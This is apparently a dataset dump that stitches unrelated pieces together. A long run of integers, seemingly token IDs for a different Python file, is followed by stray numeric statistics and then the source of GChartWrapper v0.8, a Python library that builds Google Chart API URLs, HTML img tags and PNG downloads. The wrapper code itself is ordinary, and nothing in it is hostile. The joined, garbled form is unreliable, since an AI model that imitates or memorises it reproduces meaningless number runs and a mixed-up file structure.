8, 198, 198, 4299, 2769, 7, 8019, 82, 11, 611, 2114, 2599, 198, 220, 220, 220, 37227, 24061, 20314, 1973, 13103, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 48700, 796, 20218, 7753, 13, 45, 2434, 12966, 5551, 8979, 7, 37333, 844, 28, 4458, 361, 558, 3256, 12233, 28, 25101, 8, 198, 220, 220, 220, 48700, 13, 19836, 3419, 198, 220, 220, 220, 611, 558, 796, 987, 13, 29572, 39317, 7, 361, 2114, 58, 15, 12962, 198, 220, 220, 220, 329, 1312, 287, 611, 2114, 58, 16, 25, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 987, 13, 22179, 9492, 32186, 7, 361, 558, 11, 987, 13, 29572, 39317, 7, 72, 4008, 628, 220, 220, 220, 987, 13, 13564, 39317, 7, 361, 558, 11, 48700, 13, 3672, 8, 628, 220, 220, 220, 4371, 796, 6407, 198, 220, 220, 220, 981, 4371, 25, 198, 220, 220, 220, 220, 220, 220, 220, 4371, 796, 10352, 198, 220, 220, 220, 220, 220, 220, 220, 329, 300, 287, 9195, 82, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7071, 7, 75, 11, 48700, 13, 3672, 11, 685, 27110, 13, 3672, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2124, 796, 987, 13, 29572, 39317, 7, 27110, 13, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4371, 796, 987, 13, 22179, 9492, 32186, 7, 361, 558, 11, 2124, 8, 393, 4371, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 987, 13, 13564, 39317, 7, 361, 558, 11, 48700, 13, 3672, 8, 628, 220, 220, 220, 28686, 13, 403, 8726, 7, 27110, 13, 3672, 8, 198, 220, 220, 220, 1441, 611, 558, 198, 198, 4299, 1057, 62, 325, 993, 1211, 7, 8583, 62, 28758, 11, 5128, 62, 7753, 11, 277, 3672, 11, 318, 62, 26268, 62, 5787, 11, 42804, 11, 1066, 2599, 198, 220, 220, 220, 37227, 2491, 6896, 39, 1211, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 352, 13, 42410, 262, 1430, 351, 29965, 220, 198, 220, 220, 220, 5417, 62, 259, 7753, 796, 20218, 7753, 13, 45, 2434, 12966, 5551, 8979, 7, 37333, 844, 28, 4458, 15630, 3256, 12233, 28, 25101, 8, 198, 220, 220, 220, 5417, 62, 259, 7753, 13, 19836, 3419, 198, 220, 220, 220, 26498, 796, 37250, 438, 47, 2860, 12, 332, 7483, 12, 66, 5691, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 438, 47, 2860, 12, 332, 7483, 12, 13345, 12, 259, 12, 8818, 34758, 15, 92, 4458, 18982, 7, 69, 3672, 15437, 198, 220, 220, 220, 4639, 13, 47050, 2265, 7, 15414, 62, 7753, 11, 5417, 62, 259, 7753, 13, 3672, 11, 26498, 8, 198, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 362, 13, 5660, 6896, 39, 1211, 198, 220, 220, 220, 5417, 62, 22046, 796, 685, 220, 705, 438, 36311, 12, 1069, 759, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 21633, 12, 521, 7785, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 21633, 12, 26268, 12, 19830, 296, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 1837, 23650, 1096, 12, 9979, 415, 12, 26268, 12, 65, 3733, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 403, 11379, 12, 5439, 2840, 12, 1640, 12, 9310, 64, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 14323, 489, 1958, 12, 29536, 12, 5439, 2840, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 25311, 12, 8583, 12, 9310, 64, 12, 12001, 12, 4666, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 25311, 12, 8583, 12, 9310, 64, 12, 35312, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 9310, 64, 28, 8583, 12, 6359, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 36166, 34758, 15, 92, 4458, 18982, 7, 36166, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 11883, 34758, 15, 92, 4458, 18982, 7, 11883, 15437, 628, 220, 220, 220, 611, 318, 62, 26268, 62, 5787, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 262, 5421, 6584, 470, 2689, 329, 17742, 14880, 620, 1799, 286, 262, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 2163, 475, 356, 761, 257, 3298, 5421, 329, 477, 23607, 13, 198, 220, 220, 220, 220, 220, 220, 220, 5417, 62, 22046, 796, 37250, 46583, 69, 3256, 705, 438, 20475, 66, 28, 2144, 78, 3256, 705, 438, 7784, 28, 18, 20520, 1343, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5417, 62, 22046, 1343, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 220, 220, 705, 438, 25311, 12, 65, 85, 12, 20541, 12, 1102, 2536, 6003, 28, 7942, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 25311, 12, 65, 85, 12, 12215, 10565, 12, 7344, 1386, 28, 7942, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 25311, 12, 65, 85, 12, 46430, 12, 13345, 420, 28, 9562, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 25311, 12, 265, 12, 1712, 12, 505, 12, 28764, 721, 5987, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 10786, 59, 83, 28768, 6896, 39, 1211, 351, 40714, 3113, 319, 1391, 15, 92, 2644, 59, 77, 4458, 18982, 7, 69, 3672, 4008, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 5417, 62, 22046, 796, 37250, 79, 69, 20520, 1343, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5417, 62, 22046, 1343, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 220, 220, 705, 438, 25311, 12, 20541, 12, 1102, 2536, 6003, 28, 7942, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 25311, 12, 12215, 10565, 12, 7344, 1386, 28, 7942, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 25311, 12, 46430, 12, 13345, 420, 28, 9562, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 837, 705, 438, 6098, 397, 3256, 705, 438, 6098, 397, 12, 3438, 28, 600, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 10786, 59, 83, 28768, 6896, 39, 1211, 351, 1338, 11736, 10, 20185, 3113, 319, 1391, 15, 92, 2644, 59, 77, 4458, 18982, 7, 69, 3672, 4008, 198, 220, 220, 220, 5417, 62, 22046, 796, 5417, 62, 22046, 1343, 685, 8583, 62, 259, 7753, 13, 3672, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 264, 65, 796, 4731, 22252, 13, 10100, 28632, 3419, 198, 220, 220, 220, 1005, 8189, 28, 4639, 13, 5143, 7, 8583, 62, 28758, 11, 5417, 62, 22046, 11, 264, 65, 11, 10352, 8, 198, 220, 220, 220, 3722, 796, 2198, 62, 13376, 7, 2536, 7, 36299, 4008, 198, 220, 220, 220, 611, 1005, 8189, 6624, 657, 290, 3722, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 513, 13, 1002, 6896, 39, 1211, 8302, 14880, 620, 1799, 286, 262, 2163, 788, 356, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 220, 220, 220, 751, 7048, 7, 9562, 8, 379, 262, 5726, 286, 326, 2163, 13, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 10786, 37567, 39, 1211, 8302, 14880, 620, 1799, 286, 1391, 15, 92, 0, 59, 77, 4458, 18982, 7, 69, 3672, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 5417, 62, 448, 7753, 796, 20218, 7753, 13, 45, 2434, 12966, 5551, 8979, 7, 37333, 844, 28, 4458, 15630, 3256, 12233, 28, 25101, 8, 198, 220, 220, 220, 220, 220, 220, 220, 5417, 62, 448, 7753, 13, 19836, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 796, 37250, 438, 6719, 5372, 12, 332, 7483, 12, 66, 5691, 12, 4480, 12, 403, 16250, 540, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 4639, 13, 47050, 2265, 62, 33723, 7, 8583, 62, 259, 7753, 13, 3672, 11, 5417, 62, 448, 7753, 13, 3672, 11, 26498, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 604, 13, 843, 11, 356, 1057, 262, 23392, 284, 4781, 326, 2163, 198, 220, 220, 220, 220, 220, 220, 220, 5417, 62, 8738, 62, 448, 7753, 796, 20218, 7753, 13, 45, 2434, 12966, 5551, 8979, 7, 37333, 844, 28, 4458, 15630, 3256, 12233, 28, 25101, 8, 198, 220, 220, 220, 220, 220, 220, 220, 5417, 62, 8738, 62, 448, 7753, 13, 19836, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 27183, 7, 8583, 62, 448, 7753, 13, 3672, 11, 5417, 62, 8738, 62, 448, 7753, 13, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 5417, 62, 8738, 62, 448, 7753, 13, 3672, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 10786, 59, 83, 37567, 39, 1211, 714, 407, 5879, 14880, 620, 1799, 286, 1391, 15, 27422, 59, 77, 4458, 18982, 7, 69, 3672, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1005, 8189, 1279, 29, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 10786, 59, 83, 59, 83, 47, 20846, 26827, 393, 4088, 7095, 4251, 59, 77, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 407, 3722, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 10786, 59, 83, 59, 83, 37567, 39, 1211, 1392, 257, 954, 567, 87, 1403, 59, 77, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 5128, 62, 7753, 198, 198, 4299, 7141, 62, 67, 344, 7, 15414, 62, 7753, 11, 686, 79, 7753, 11, 5072, 62, 7753, 2599, 198, 220, 220, 220, 37227, 779, 6896, 39, 1211, 2746, 12, 9122, 263, 284, 4781, 2636, 5499, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 5417, 62, 28758, 796, 3384, 4487, 13, 1136, 62, 325, 993, 1211, 3419, 198, 220, 220, 220, 611, 5417, 62, 28758, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 10786, 37567, 39, 1211, 407, 1043, 13, 2275, 24707, 7141, 288, 344, 2644, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4423, 346, 13, 30073, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 10352, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 1575, 62, 48649, 62, 448, 796, 20218, 7753, 13, 45, 2434, 12966, 5551, 8979, 7, 33678, 28, 25101, 8, 198, 220, 220, 220, 26498, 220, 796, 37250, 438, 47, 15805, 12, 48649, 12, 66, 70, 20520, 198, 220, 220, 220, 26498, 15853, 37250, 438, 47, 36934, 896, 12, 34345, 34758, 15, 92, 4458, 18982, 7, 1773, 7753, 15437, 198, 220, 220, 220, 26498, 15853, 37250, 438, 47, 15805, 12, 48649, 12, 22915, 34758, 15, 92, 4458, 18982, 7, 15805, 62, 48649, 62, 448, 13, 3672, 15437, 198, 220, 220, 220, 4639, 13, 47050, 2265, 7, 15414, 62, 7753, 11, 31051, 7959, 14, 8423, 3256, 26498, 8, 628, 220, 220, 220, 1303, 21017, 198, 220, 220, 220, 22492, 16926, 46, 25, 787, 777, 10007, 2836, 12, 4299, 259, 540, 25, 198, 220, 220, 220, 1303, 21017, 198, 220, 220, 220, 4414, 62, 400, 10126, 796, 1160, 220, 22492, 1271, 286, 371, 3185, 35281, 198, 220, 220, 220, 1575, 62, 400, 10126, 796, 220, 513, 220, 220, 220, 220, 22492, 1271, 286, 23607, 198, 220, 220, 220, 26827, 796, 7982, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 22492, 6896, 39, 1211, 26827, 287, 4201, 198, 220, 220, 220, 1066, 32374, 796, 42479, 220, 220, 220, 220, 220, 220, 220, 220, 22492, 6896, 39, 1211, 4088, 4179, 287, 10771, 628, 220, 220, 220, 384, 993, 1211, 62, 421, 10640, 796, 17635, 220, 220, 220, 220, 198, 220, 220, 220, 329, 1627, 287, 1575, 62, 48649, 62, 448, 25, 198, 220, 220, 220, 220, 220, 220, 220, 16326, 796, 1627, 13, 35312, 3419, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 1475, 7254, 5794, 286, 1123, 11241, 25, 29397, 4177, 2849, 44849, 25425, 2043, 7375, 2257, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 810, 29397, 4177, 2849, 318, 257, 4731, 11, 44849, 25425, 2043, 318, 281, 18253, 11, 290, 7375, 2257, 318, 281, 18253, 198, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 83, 482, 641, 8, 1279, 513, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 10786, 24908, 25, 10059, 5794, 286, 1391, 15, 32239, 77, 4458, 18982, 7, 15805, 62, 48649, 62, 448, 13, 3672, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 10352, 198, 220, 220, 220, 220, 220, 220, 220, 277, 3672, 796, 16326, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 277, 48649, 28, 493, 7, 83, 482, 641, 58, 16, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 277, 15805, 796, 493, 7, 83, 482, 641, 58, 17, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 611, 277, 48649, 18189, 4414, 62, 400, 10126, 290, 277, 15805, 19841, 1575, 62, 400, 10126, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 384, 993, 1211, 62, 421, 10640, 13, 2302, 437, 26933, 7, 69, 3672, 11, 277, 15805, 6624, 657, 8, 12962, 198, 220, 220, 220, 1575, 62, 48649, 62, 448, 13, 19836, 3419, 628, 220, 220, 220, 611, 384, 993, 1211, 62, 421, 10640, 6624, 685, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 366, 2949, 20743, 329, 6896, 39, 1211, 35713, 628, 220, 220, 220, 46424, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 22492, 16926, 46, 25, 1057, 6896, 39, 1211, 10245, 287, 10730, 198, 220, 220, 220, 46424, 198, 220, 220, 220, 1487, 796, 10352, 198, 220, 220, 220, 1090, 7753, 796, 5128, 62, 7753, 198, 220, 220, 220, 329, 357, 69, 3672, 11, 318, 62, 26268, 62, 5787, 8, 287, 384, 993, 1211, 62, 421, 10640, 25, 198, 220, 220, 220, 220, 220, 220, 220, 611, 277, 3672, 6624, 705, 12417, 6, 393, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 3672, 13, 9688, 2032, 342, 10786, 7959, 2265, 11537, 393, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 3672, 13, 9688, 2032, 342, 10786, 325, 993, 1211, 6, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2555, 198, 220, 220, 220, 220, 220, 220, 220, 1306, 7753, 796, 1057, 62, 325, 993, 1211, 7, 8583, 62, 28758, 11, 1090, 7753, 11, 277, 3672, 11, 318, 62, 26268, 62, 5787, 11, 26827, 11, 1066, 32374, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1487, 796, 1487, 930, 357, 22019, 7753, 1279, 29, 1306, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1090, 7753, 796, 1306, 7753, 198, 220, 220, 220, 4423, 346, 13, 30073, 7, 22019, 7753, 11, 5072, 62, 7753, 8, 198, 220, 220, 220, 1441, 1487, 628 ]
2.310572
6,678
# -*- coding: utf-8 -*- ################################################################################ # GChartWrapper - v0.8 # Copyright (C) 2009 Justin Quick <[email protected]> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 3 as published # by the Free Software Foundation. # # Thanks to anyone who does anything for this project. # If you have even the smallest revision, please email me at above address. ################################################################################ """ GChartWrapper - Google Chart API Wrapper The wrapper can render the URL of the Google chart based on your parameters. With the chart you can render an HTML img tag to insert into webpages on the fly, show it directly in a webbrowser, or save the chart PNG to disk. New versions can generate PIL PngImage instances. Example >>> G = GChart('lc',['simpleisbetterthancomplexcomplexisbetterthancomplicated']) >>> G.title('The Zen of Python','00cc00',36) >>> G.color('00cc00') >>> str(G) 'http://chart.apis.google.com/chart? chd=e:simpleisbetterthancomplexcomplexisbetterthancomplicated &chs=300x150 &cht=lc &chtt=The+Zen+of+Python' >>> G.image() # PIL instance <PngImagePlugin.PngImageFile instance at ...> >>> 1#G.show() # Webbrowser open True >>> G.save('tmp.png') # Save to disk 'tmp.png' See tests.py for unit test and other examples """ from GChartWrapper.constants import * from GChartWrapper.encoding import Encoder from copy import copy def lookup_color(color): """ Returns the hex color for any valid css color name >>> lookup_color('aliceblue') 'F0F8FF' """ if color is None: return color = color.lower() if color in COLOR_MAP: return COLOR_MAP[color] return color def color_args(args, *indexes): """ Color a list of arguments on particular indexes >>> c = color_args([None,'blue'], 1) >>> c.next() None >>> c.next() '0000FF' """ for i,arg in enumerate(args): if i in indexes: yield lookup_color(arg) else: yield arg class Axes(dict): """ Axes attribute dictionary storage Use this class via GChart(...).axes Methods are taken one at a time, like so: >>> G = GChart() >>> G.axes.type('xy') {} >>> G.axes.label(1,'Label1') # X Axis {} >>> G.axes.label(2,'Label2') # Y Axis {} """ def tick(self, index, length): """ Add tick marks in order of axes by width APIPARAM: chxtc <axis index>,<length of tick mark> """ assert int(length) <= 25, 'Width cannot be more than 25' self.data['ticks'].append('%s,%d'%(index,length)) return self.parent def type(self, atype): """ Define the type of axes you wish to use atype must be one of x,t,y,r APIPARAM: chxt """ for char in atype: assert char in 'xtyr', 'Invalid axes type: %s'%char if not ',' in atype: atype = ','.join(atype) self['chxt'] = atype return self.parent __call__ = type def label(self, index, *args): """ Label each axes one at a time args are of the form <label 1>,...,<label n> APIPARAM: chxl """ self.data['labels'].append( str('%s:|%s'%(index, '|'.join(map(str,args)) )).replace('None','') ) return self.parent def position(self, index, *args): """ Set the label position of each axis, one at a time args are of the form <label position 1>,...,<label position n> APIPARAM: chxp """ self.data['positions'].append( str('%s,%s'%(index, ','.join(map(str,args)))).replace('None','') ) return self.parent def range(self, index, *args): """ Set the range of each axis, one at a time args are of the form <start of range>,<end of range>,<interval> APIPARAM: chxr """ self.data['ranges'].append('%s,%s'%(index, ','.join(map(smart_str, args)))) return self.parent def style(self, index, *args): """ Add style to your axis, one at a time args are of the form:: <axis color>, <font size>, <alignment>, <drawing control>, <tick mark color> APIPARAM: chxs """ args = color_args(args, 0) self.data['styles'].append( ','.join([str(index)]+list(map(str,args))) ) return self.parent def render(self): """Render the axes data into the dict data""" for opt,values in self.data.items(): if opt == 'ticks': self['chxtc'] = '|'.join(values) else: self['chx%s'%opt[0]] = '|'.join(values) return self class GChart(dict): """Main chart class Chart type must be valid for cht parameter Dataset can be any python iterable and be multi dimensional Kwargs will be put into chart API params if valid""" @classmethod def fromurl(cls, qs): """ Reverse a chart URL or dict into a GChart instance >>> G = GChart.fromurl('http://chart.apis.google.com/chart?...') >>> G <GChartWrapper.GChart instance at...> >>> G.image().save('chart.jpg','JPEG') """ if isinstance(qs, dict): return cls(**qs) return cls(**dict(parse_qsl(qs[qs.index('?')+1:]))) ################### # Callables ################### def map(self, geo, country_codes): """ Creates a map of the defined geography with the given country/state codes Geography choices are africa, asia, europe, middle_east, south_america, and world ISO country codes can be found at http://code.google.com/apis/chart/isocodes.html US state codes can be found at http://code.google.com/apis/chart/statecodes.html APIPARAMS: chtm & chld """ assert geo in GEO, 'Geograpic area %s not recognized'%geo self._geo = geo self._ld = country_codes return self def level_data(self, *args): """ Just used in QRCode for the moment args are error_correction,margin_size APIPARAM: chld """ assert args[0].lower() in 'lmqh', 'Unknown EC level %s'%level self['chld'] = '%s|%s'%args return self def bar(self, *args): """ For bar charts, specify bar thickness and spacing with the args args are <bar width>,<space between bars>,<space between groups> bar width can be relative or absolute, see the official doc APIPARAM: chbh """ self['chbh'] = ','.join(map(str,args)) return self def encoding(self, arg): """ Specifies the encoding to be used for the Encoder Must be one of 'simple','text', or 'extended' """ self._encoding = arg return self def output_encoding(self, encoding): """ Output encoding to use for QRCode encoding Must be one of 'Shift_JIS','UTF-8', or 'ISO-8859-1' APIPARAM: choe """ assert encoding in ('Shift_JIS','UTF-8','ISO-8859-1'),\ 'Unknown encoding %s'%encoding self['choe'] = encoding return self def scale(self, *args): """ Scales the data down to the given size args must be of the form:: <data set 1 minimum value>, <data set 1 maximum value>, <data set n minimum value>, <data set n maximum value> will only work with text encoding! APIPARAM: chds """ self._scale = [','.join(map(smart_str, args))] return self def dataset(self, data, series=''): """ Update the chart's dataset, can be two dimensional or contain string data """ self._dataset = data self._series = series return self def marker(self, *args): """ Defines markers one at a time for your graph args are of the form:: <marker type>, <color>, <data set index>, <data point>, <size>, <priority> see the official developers doc for the complete spec APIPARAM: chm """ if len(args[0]) == 1: assert args[0] in MARKERS, 'Invalid marker type: %s'%args[0] assert len(args) <= 6, 'Incorrect arguments %s'%str(args) args = color_args(args, 1) self.markers.append(','.join(map(str,args)) ) return self def margin(self, left, right, top, bottom, lwidth=0, lheight=0): """ Set margins for chart area args are of the form:: <left margin>, <right margin>, <top margin>, <bottom margin>| <legend width>, <legend height> APIPARAM: chma """ self['chma'] = '%d,%d,%d,%d' % (left, right, top, bottom) if lwidth or lheight: self['chma'] += '|%d,%d' % (lwidth, lheight) return self def line(self, *args): """ Called one at a time for each dataset args are of the form:: <data set n line thickness>, <length of line segment>, <length of blank segment> APIPARAM: chls """ self.lines.append(','.join(['%.1f'%x for x in map(float,args)])) return self def fill(self, *args): """ Apply a solid fill to your chart args are of the form <fill type>,<fill style>,... fill type must be one of c,bg,a fill style must be one of s,lg,ls the rest of the args refer to the particular style APIPARAM: chf """ a,b = args[:2] assert a in ('c','bg','a'), 'Fill type must be bg/c/a not %s'%a assert b in ('s','lg','ls'), 'Fill style must be s/lg/ls not %s'%b if len(args) == 3: args = color_args(args, 2) else: args = color_args(args, 3,5) self.fills.append(','.join(map(str,args))) return self def grid(self, *args): """ Apply a grid to your chart args are of the form:: <x axis step size>, <y axis step size>, <length of line segment>, <length of blank segment> <x offset>, <y offset> APIPARAM: chg """ grids = map(str,map(float,args)) self['chg'] = ','.join(grids).replace('None','') return self def color(self, *args): """ Add a color for each dataset args are of the form <color 1>,...<color n> APIPARAM: chco """ args = color_args(args, *range(len(args))) self['chco'] = ','.join(args) return self def type(self, type): """ Set the chart type, either Google API type or regular name APIPARAM: cht """ self['cht'] = self.check_type(str(type)) return self def label(self, *args): """ Add a simple label to your chart call each time for each dataset APIPARAM: chl """ if self['cht'] == 'qr': self['chl'] = ''.join(map(str,args)) else: self['chl'] = '|'.join(map(str,args)) return self def legend(self, *args): """ Add a legend to your chart call each time for each dataset APIPARAM: chdl """ self['chdl'] = '|'.join(args) return self def legend_pos(self, pos): """ Define a position for your legend to occupy APIPARAM: chdlp """ assert pos in LEGEND_POSITIONS, 'Unknown legend position: %s'%pos self['chdlp'] = str(pos) return self def title(self, title, *args): """ Add a title to your chart args are optional style params of the form <color>,<font size> APIPARAMS: chtt,chts """ self['chtt'] = title if args: args = color_args(args, 0) self['chts'] = ','.join(map(str,args)) return self def size(self,*args): """ Set the size of the chart, args are width,height and can be tuple APIPARAM: chs """ if len(args) == 2: x,y = map(int,args) else: x,y = map(int,args[0]) self.check_size(x,y) self['chs'] = '%dx%d'%(x,y) return self def orientation(self, angle): """ Set the chart dataset orientation angle is <angle in radians> APIPARAM: chp """ self['chp'] = '%f'%angle return self position = orientation def render(self): """ Renders the chart context and axes into the dict data """ self.update(self.axes.render()) encoder = Encoder(self._encoding, None, self._series) if not 'chs' in self: self['chs'] = '300x150' else: size = self['chs'].split('x') assert len(size) == 2, 'Invalid size, must be in the format WxH' self.check_size(*map(int,size)) assert 'cht' in self, 'No chart type defined, use type method' self['cht'] = self.check_type(self['cht']) if ('any' in dir(self._dataset) and self._dataset.any()) or self._dataset: self['chd'] = encoder.encode(self._dataset) elif not 'choe' in self: assert 'chd' in self, 'You must have a dataset, or use chd' if self._scale: assert self['chd'].startswith('t'),\ 'You must use text encoding with chds' self['chds'] = ','.join(self._scale) if self._geo and self._ld: self['chtm'] = self._geo self['chld'] = self._ld if self.lines: self['chls'] = '|'.join(self.lines) if self.markers: self['chm'] = '|'.join(self.markers) if self.fills: self['chf'] = '|'.join(self.fills) ################### # Checks ################### def check_size(self,x,y): """ Make sure the chart size fits the standards """ assert x <= 1000, 'Width larger than 1,000' assert y <= 1000, 'Height larger than 1,000' assert x*y <= 300000, 'Resolution larger than 300,000' def check_type(self, type): """Check to see if the type is either in TYPES or fits type name Returns proper type """ if type in TYPES: return type tdict = dict(zip(TYPES,TYPES)) tdict.update({ 'line': 'lc', 'bar': 'bvs', 'pie': 'p', 'venn': 'v', 'scater': 's', 'radar': 'r', 'meter': 'gom', }) assert type in tdict, 'Invalid chart type: %s'%type return tdict[type] ##################### # Convience Functions ##################### def getname(self): """ Gets the name of the chart, if it exists """ return self.get('chtt','') def getdata(self): """ Returns the decoded dataset from chd param """ #XXX: Why again? not even sure decode works well return Encoder(self._encoding).decode(self['chd']) @property def url(self): """ Returns the rendered URL of the chart """ self.render() return self._apiurl + '&'.join(self._parts()).replace(' ','+') def show(self, *args, **kwargs): """ Shows the chart URL in a webbrowser Other arguments passed to webbrowser.open """ from webbrowser import open as webopen return webopen(str(self), *args, **kwargs) def save(self, fname=None): """ Download the chart from the URL into a filename as a PNG The filename defaults to the chart title (chtt) if any """ if not fname: fname = self.getname() assert fname != None, 'You must specify a filename to save to' if not fname.endswith('.png'): fname += '.png' try: urlretrieve(self.url, fname) except Exception: raise IOError('Problem saving %s to file'%fname) return fname def img(self, **kwargs): """ Returns an XHTML <img/> tag of the chart kwargs can be other img tag attributes, which are strictly enforced uses strict escaping on the url, necessary for proper XHTML """ safe = 'src="%s" ' % self.url.replace('&','&amp;').replace('<', '&lt;')\ .replace('>', '&gt;').replace('"', '&quot;').replace( "'", '&#39;') for item in kwargs.items(): if not item[0] in IMGATTRS: raise AttributeError('Invalid img tag attribute: %s'%item[0]) safe += '%s="%s" '%item return '<img %s/>'%safe def urlopen(self): """ Grabs readable PNG file pointer """ req = Request(str(self)) try: return urlopen(req) except HTTPError: _print('The server couldn\'t fulfill the request.') except URLError: _print('We failed to reach a server.') def image(self): """ Returns a PngImageFile instance of the chart You must have PIL installed for this to work """ try: try: import Image except ImportError: from PIL import Image except ImportError: raise ImportError('You must install PIL to fetch image objects') try: from cStringIO import StringIO except ImportError: from StringIO import StringIO return Image.open(StringIO(self.urlopen().read())) def write(self, fp): """ Writes out PNG image data in chunks to file pointer fp fp must support w or wb """ urlfp = self.urlopen().fp while 1: try: fp.write(urlfp.next()) except StopIteration: return def checksum(self): """ Returns the unique SHA1 hexdigest of the chart URL param parts good for unittesting... """ self.render() return new_sha(''.join(sorted(self._parts()))).hexdigest() # Now a whole mess of convenience classes # *for those of us who dont speak API* ######################################## # Now for something completely different ########################################
